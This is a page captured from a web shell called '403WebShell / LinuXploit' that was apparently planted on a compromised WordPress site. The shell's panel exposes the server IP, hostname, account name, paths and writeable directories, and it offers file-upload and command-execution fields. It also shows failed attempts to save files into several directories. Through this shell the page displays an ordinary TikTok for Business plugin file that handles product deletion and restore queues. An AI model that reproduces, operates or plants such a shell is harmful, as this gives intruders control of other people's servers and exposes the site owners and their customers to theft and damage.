Failed to save the file to the "xx" directory.

Failed to save the file to the "ll" directory.

Failed to save the file to the "mm" directory.

Failed to save the file to the "wp" directory.

403WebShell
403Webshell
Server IP : 66.29.132.124  /  Your IP : 3.144.15.34
Web Server : LiteSpeed
System : Linux business141.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : wavevlvu ( 1524)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/wavevlvu/diixadigital.com/wp-content/plugins/tiktok-for-business/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/wavevlvu/diixadigital.com/wp-content/plugins/tiktok-for-business/admin/tt4b_menu.php
<?php
/**
 * Copyright (c) Bytedance, Inc. and its affiliates. All Rights Reserved
 *
 * This source code is licensed under the license found in the
 * LICENSE file in the root directory of this source tree.
 *
 * @package TikTok
 */
require_once __DIR__ . '/../utils/utilities.php';
require_once 'Tt4b_Menu_Class.php';
add_action( 'admin_menu', array( 'tt4b_menu_class', 'tt4b_admin_menu' ) );
add_action( 'wp_loaded', array( 'tt4b_menu_class', 'tt4b_store_access_token' ) );
add_action( 'before_delete_post', 'tt4b_product_delete', 10, 2 );
add_action( 'wp_trash_post', 'tt4b_product_trashed' );
add_action( 'woocommerce_before_delete_product_variation', 'tt4b_variation_delete' );
add_action( 'untrashed_post', 'tt4b_product_untrashed' );

/**
 * Trash a product
 *
 * @param string $post_id The product_id.
 *
 * @return void
 */
function tt4b_product_trashed( $post_id ) {
	$post = get_post( $post_id );
	tt4b_product_delete( $post_id, $post );
}

/**
 * Delete or trash a product variation
 *
 * @param string $post_id The product/variation id to be deleted.
 *
 * @return void
 */
function tt4b_variation_delete( $post_id ) {
	$post = get_post( $post_id );
	tt4b_product_delete( $post_id, $post );
}

/**
 * Add restore products back to MAPI via upload API vs update
 * TODO: Use this during catalog and variation syncing for MAPI - move parent + children over from update to upload
 *
 * @param $post_id - The product/variation to be restored
 *
 * @return void
 */
function tt4b_product_untrashed( $post_id ) {
	$post = get_post( $post_id );
	if ( 'product' !== $post->post_type && 'product_variation' !== $post->post_type ) {
		return;
	}
	$product = wc_get_product( $post_id );
	if ( is_null( $product ) ) {
		return;
	}
	$logger = new Logger();

	$access_token = get_option( 'tt4b_access_token' );
	$catalog_id   = get_option( 'tt4b_catalog_id' );
	$bc_id        = get_option( 'tt4b_bc_id' );
	if ( false === $access_token ) {
		$logger->log( __METHOD__, 'missing access token for tt4b_product_sync' );
		return;
	}
	if ( '' === $catalog_id ) {
		$logger->log( __METHOD__, 'missing catalog_id for tt4b_product_sync' );
		return;
	}
	if ( '' === $bc_id ) {
		$logger->log( __METHOD__, 'missing bc_id for tt4b_product_sync' );
		return;
	}

	$product_id = $product->get_id();

	$to_restore                = (array) get_option( 'tt4b_product_restore_queue', array() );
	$to_restore[ $product_id ] = $product_id;
	$logger->log( __METHOD__, json_encode( $to_restore ) . ' to restore' );
	update_option( 'tt4b_product_restore_queue', $to_restore );
}

/**
 * Delete a product or product_variation
 *
 * @param string  $post_id The product_id.
 * @param WP_Post $post    The post.
 *
 * @return void
 */
function tt4b_product_delete( $post_id, $post ) {
	if ( 'product' !== $post->post_type && 'product_variation' !== $post->post_type ) {
		return;
	}
	$product = wc_get_product( $post_id );
	if ( is_null( $product ) ) {
		return;
	}
	$logger = new Logger();

	$access_token = get_option( 'tt4b_access_token' );
	$catalog_id   = get_option( 'tt4b_catalog_id' );
	$bc_id        = get_option( 'tt4b_bc_id' );
	if ( false === $access_token ) {
		$logger->log( __METHOD__, 'missing access token for tt4b_product_sync' );
		return;
	}
	if ( '' === $catalog_id ) {
		$logger->log( __METHOD__, 'missing catalog_id for tt4b_product_sync' );
		return;
	}
	if ( '' === $bc_id ) {
		$logger->log( __METHOD__, 'missing bc_id for tt4b_product_sync' );
		return;
	}

	$sku_id  = $product->get_sku();
	$id      = (string) $product->get_id();
	$sku_key = $sku_id;
	if ( '' === $sku_key ) {
		$sku_key = $id;
	}

	$product_to_delete = array(
		'id'    => $id,
		'data'  => json_encode(
			array(
				'id'  => $id,
				'sku' => $sku_id,
			)
		),
		'topic' => 'partner_gw_product_sync',
		'tag'   => 'delete',
	);

	// if it's a child product, delete the child product only
	if ( $product->get_parent_id() > 0 ) {
		$parent_id         = $product->get_parent_id();
		$product_to_delete = array(
			'id'        => $id,
			'data'      => json_encode(
				array(
					'id'        => $id,
					'sku'       => $sku_id,
					'parent_id' => (string) $parent_id,
				)
			),
			'parent_id' => (string) $parent_id,
			'topic'     => 'partner_gw_product_variation_sync',
			'tag'       => 'delete',
		);
		$parent_product    = wc_get_product( $parent_id );
		$parent_sku        = $parent_product->get_sku() ? $parent_product->get_sku() : (string) $parent_product->get_id();
		// if the child product sku is the same as the parent product, make sure to use the same concatenation logic as in catalog sync
		// otherwise use the unique child product sku for deletion
		$sku_key = variation_content_id_helper( Method::DELETE, $parent_sku, $sku_id, $id );
	}

	// add the sku to array of skus to be deleted - stored as an option to be processed during scheduled syncs & management page syncs
	$addToDelete = array(
		$sku_key => $product_to_delete,
	);
	$logger->log(
		__METHOD__,
		sprintf(
			'adding SKU_ID to delete: %s',
			$sku_id
		)
	);
	$toDelete = (array) get_option( 'tt4b_product_delete_queue', array() );
	$toDelete = array_merge( $addToDelete, $toDelete );
	update_option( 'tt4b_product_delete_queue', $toDelete );
}

Youez - 2016 - github.com/yon3zu
LinuXploit